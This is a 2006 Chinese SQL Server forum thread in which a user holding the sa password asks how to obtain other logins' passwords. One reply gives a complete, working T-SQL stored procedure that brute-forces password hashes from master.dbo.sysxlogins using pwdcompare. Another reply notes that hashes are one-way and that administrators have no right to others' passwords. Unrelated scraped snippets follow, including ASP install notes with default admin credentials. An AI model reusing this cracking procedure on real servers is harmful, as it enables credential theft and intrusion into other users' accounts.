已经知道了一个数据库的sa密码,如何获得其它用户的用户名和密码?

dpbug 2006-03-19 10:38:32
已经知道了一个数据库的sa密码,如何获得其它用户的用户名和密码?

或者知道其他用户名,如何获得其密码?
...全文
303 5 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
dpbug 2006-03-19
  • 打赏
  • 举报
回复
这样阿,那还真不好办了
zjcxc 2006-03-19
  • 打赏
  • 举报
回复
前面已经说过了, 密码是单向加密的, 不能破解.

你是合法用户, 管理员, 也无权获取别人的密码, 因为这具密码可能会涉及到别人的隐私, 甚至通过这个密码能猜测到别人的其他东西(例如卡号)的密码
dpbug 2006-03-19
  • 打赏
  • 举报
回复
能不能直接获得,我是合法用户,管理员,不想破解
zjcxc 2006-03-19
  • 打赏
  • 举报
回复
== 可以暴力破解


if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_GetPassword]
GO

/*--穷举法破解 SQL Server 用户密码

可以破解中文,特殊字符,字符+尾随空格的密码
为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII

理论上可以破解任意位数的密码,一般的电脑都可以破解3位密码
条件是你的电脑配置足够,时间足够

--邹建 2004.08(引用请保留此信息)--*/

/*--调用示例

--测试特殊字符
declare @pwd sysname
set @pwd=char(0)+'a '
exec sp_password null,@pwd,'sa'
exec p_GetPassword

--测试带空格的密码
exec sp_password null,'a ','sa'
exec p_GetPassword

--测试中文
exec sp_password null,'我 ','sa'
exec p_GetPassword

--清除密码
exec sp_password null,null,'sa'
--*/
create proc p_GetPassword
@username sysname=null, --用户名,如果不指定,则列出所有用户
@pwdlen int=3 --密码破解的位数,默认只破解3位及以下的密码
as
--生成要破解的密码的用户表
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null or datalength(password)<46
then 1 else 0 end
,pwdstr=case when datalength(password)<46
then cast(password as sysname)
else cast('' as sysname) end
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)

--生成临时表
select top 255 id=identity(int,0,1) into #t from sysobjects a,sysobjects b
alter table #t add constraint PK_#t primary key(id)

--清理不需要的字符
if not exists(select 1 from #pwd where type=1)
delete from #t where id between 65 and 90 or id between 129 and 254

--密码破解处理
declare @l int
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000),@s4 varchar(8000)

--破解1位密码
select @l=0
,@s1='id=a.id'
,@s2='#t a'
,@s3='char(b.id)'
,@s4='cast(b.id as varchar)'
exec('
update pwd set jm=1,pwdstr='+@s3+'
,pwd='+@s4+'
from #pwd pwd,#t b
where pwd.jm=0
and pwdcompare('+@s3+',pwd.password,pwd.type)=1
')

--破解超过2位的密码
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen-1)
begin
select @l=@l+1
,@s1=@s1+',id'+cast(@l as varchar)
+'='+char(@l/26+97)+char(@l%26+97)+'.id'
,@s2=@s2+',#t '+char(@l/26+97)+char(@l%26+97)
,@s3=@s3+'+char(b.id'+cast(@l as varchar)+')'
,@s4=@s4+'+'',''+cast(b.id'+cast(@l as varchar)+' as varchar)'
exec('
select '+@s1+' into #tt from '+@s2+'
update pwd set jm=1,pwdstr='+@s3+'
,pwd='+@s4+'
from #pwd pwd,#tt b
where pwd.jm=0
and pwdcompare('+@s3+',pwd.password,pwd.type)=1
')
end

--显示破解的密码
select 用户名=name,密码=pwdstr,密码ASCII=pwd
from #pwd
go
zjcxc 2006-03-19
  • 打赏
  • 举报
回复
sql的密码是单向加密, 不可逆的, 因此, 你无法获取其他用户的密码.

不过, 用sa的用户可以修改所有其他用户的密码:
sp_password null,'新密码','用户名'
§使用说明 §1、后台登陆地址:后台登陆地址为 供求目录/admin/index.asp(建议修改后台文件夹路径) 默认管理员:用户:admin 密码:admin 登录后请修改密码 §2、Access 版修改数据库路径:打开文件:Common/setup.asp 找到18行:bbdbpath="/gq35/database/www.fyasp.com.mdb" 改为您要的名字,当然文件本身的名字不要忘记更改。 Sql数据库修连接请打开common/Inc_DatConn.asp 找到第25行 is_sqldata=1 把值设为1,如果为0则为access数据库 sql数据库的安装: 在SQL中新建一个名为gq.fyasp.com的数据库(建其它名称数据库请采用强制还原),然后 右键—>所有任务--->还原数据库--->从设备--->指到本目录下的“database/gq.fyasp.com.sql还原。 在安全性-->登陆-->新建用户(一定不要用SA默认账号,同时为SA一个强有力的20位以上数字字母符号的混合密码) --->指定数据库(数据库访问-->选择gq.fyasp.com-->数据库角色允许选择(public和db_owner)。注:虚拟主机用户跳过本步骤。 还原数据库后,请打开common/Inc_DatConn.asp 找到42-47行 'sql数据库连接参数:数据库名、用户密码用户、连接名(本地用local,外地用IP) Dim sql_databasename,sql_password,sql_username,sql_localname sql_localname = "127.0.0.1" sql_databasename = "gq.fyasp.com" sql_username = "gq.fyasp.com" sql_password = "gq.fyasp.com" 配置用户密码 §3、北方供求v3.3改进了类型的修改,修改方法如下: 打开common/Inc_Function.asp 找到第71行的 Function gqlx(stype,xxlx)函数, 修改中文就行了。
§使用说明 §1、后台登陆地址:后台登陆地址为 供求目录/admin/index.asp(建议修改后台文件夹路径) 默认管理员:用户:admin 密码:admin 登录后请修改密码 §2、Access 版修改数据库路径:打开文件:Common/setup.asp 找到18行:bbdbpath="/gq35/database/www.fyasp.com.mdb" 改为您要的名字,当然文件本身的名字不要忘记更改。 Sql数据库修连接请打开common/Inc_DatConn.asp 找到第25行 is_sqldata=1 把值设为1,如果为0则为access数据库 sql数据库的安装: 在SQL中新建一个名为gq.fyasp.com的数据库(建其它名称数据库请采用强制还原),然后 右键—>所有任务--->还原数据库--->从设备--->指到本目录下的“database/gq.fyasp.com.sql还原。 在安全性-->登陆-->新建用户(一定不要用SA默认账号,同时为SA一个强有力的20位以上数字字母符号的混合密码) --->指定数据库(数据库访问-->选择gq.fyasp.com-->数据库角色允许选择(public和db_owner)。注:虚拟主机用户跳过本步骤。 还原数据库后,请打开common/Inc_DatConn.asp 找到42-47行 'sql数据库连接参数:数据库名、用户密码用户、连接名(本地用local,外地用IP) Dim sql_databasename,sql_password,sql_username,sql_localname sql_localname = "127.0.0.1" sql_databasename = "gq.fyasp.com" sql_username = "gq.fyasp.com" sql_password = "gq.fyasp.com" 配置用户密码 §3、北方供求v3.3改进了类型的修改,修改方法如下: 打开common/Inc_Function.asp 找到第71行的 Function gqlx(stype,xxlx)函数, 修改中文就行了。 §4、代码调用:<script language="JavaScript" src="js.asp?lx=1&num=6&words=15&dl=12&tj=ok&showlx=ok">
CALLME是一款功能多样的计算机辅助工具集,包含了多项实用 工具,开发目标是让本软件象DOS时代的PCTOOL,一个工具就能 将大部分工作解决,省得到处找软件和注册码,:) 本软件当前版本为3.5,将会不断加入新功能。 包含的功能主要分如下几大类: 1、局网消息: 本模块主要包含发送、接收POP消息,并查看消息记录。 2、远程消息: 本模块包含TCP聊天工具(当前版本没有提供) 和发送文本邮件功能(支持带认证的发送) 3、网上功能: 本模块主要包括如下几部分: a、设置定时器: 定时器作为常用功能,在本程序里得到了很大的加强,其 详细介绍见附一。 b、网站快速登陆: 大家一定有这样的经历,在各个注册网站注册了一堆帐号, 但是,过了一段时间,又将登陆名和密码忘啦,本功能主要是 对这些帐号进行维护,用户将这些网站的提交url和用户密码存入,以后可以直接进行登陆,无需记忆这么多的帐号啦 用法:比如sina的vip帐号登陆url为: http://vip.sina.com/cgi-bin/login.cgi 需要用户user和密码pass,那么我们可以在连接后加上 ?user=$USERNAME&pass=$PASSWORD 其中$USERNAME将会在登陆时自动替换为用户,$PASSWORD 将会自动替换为密码。 c、网上邻居资源: 本功能通过将网上邻居里用户共享的文件夹进行查找并记录 在数据库,以后需要某一软件时,直接在里面查找,无需再一个 个网上邻居查找,省时省力,比较爽。 d、网页过滤器: 现在的网页都会包含有大量的flash和弹出广告窗口,本功能 主要是帮助用户把这些烦人的东东过滤掉。 4、个性功能: 本模块主要是一些个人参数的设定和弹出菜单的定制工作。 5、其它功能: 这里包含了一些不归档,但是比较常用的功能。 a、显示/隐藏窗口: 本功能可以让窗口最前显示、关闭等。 b、工作/游戏模式切换: 见附一。 c、屏幕编辑器: 通过Ctrl+Alt+P热键显示、隐藏,最前显示以前保存的内容, 可以当作屏幕即时贴使用。 6、帮助: 还要介绍? 后续版本需要做的工作: $、tcp chat room, 加远程桌面查看和传文件 $、录像 $、完全备份、增量备份某些目录。 $、地址本 附一:定时器介绍: 定时器系统提供了一些有用的命令,可以让用户方便地通 过定时器来执行特定的操作,现在系统支持的命令有如下 几项: 1、检测邮箱里是否有新邮件,命令为: CHECKMAIL 邮件服务器 用户 密码 比如,你在sina有一个收费邮箱,用户为name, 密码为password,那么定时查看新邮件的命令可以 写为: CHECKMAIL pop3.vip.sina.com name password 2、给局网的用户发送POP消息,命令为: SENDPOP 机器名 消息 比如,你想每天中午11:30提醒自己去吃午饭,那么 这个命令可以这样写: SENDPOP 127.0.0.1 嘿,该吃午饭啦! 3、自动改变工作模式,命令为: CHANGEMODE game 或 CHANGEMODE normal 工作模式改为游戏模式时,将会关闭messenger服务 和屏蔽键盘里的WIN、APP等快捷键,以防在游戏过 程中突然切换出来,特别你在战网上玩HC的D2X,而 且正被一堆牛牛围住的时候,就麻烦啦,:) 4、备份MS SQLSERVER的数据库,命令为: BACKUPDB 数据库数据库IP 用户 密码 这个命令主要是备份数据库用,在一些工作中这也很 有。比如,你想每天备份本机的数据库db到d:下,那 么命令可以这样写: BACKUPDB filename db ip sa (sa密码为空) BACKUPDB filename db ip sa pass (sa密码为pass) 5、...(以后版本将会提供更多、更方便的缺省

22,302

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 疑难问题
社区管理员
  • 疑难问题社区
  • 尘觉
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧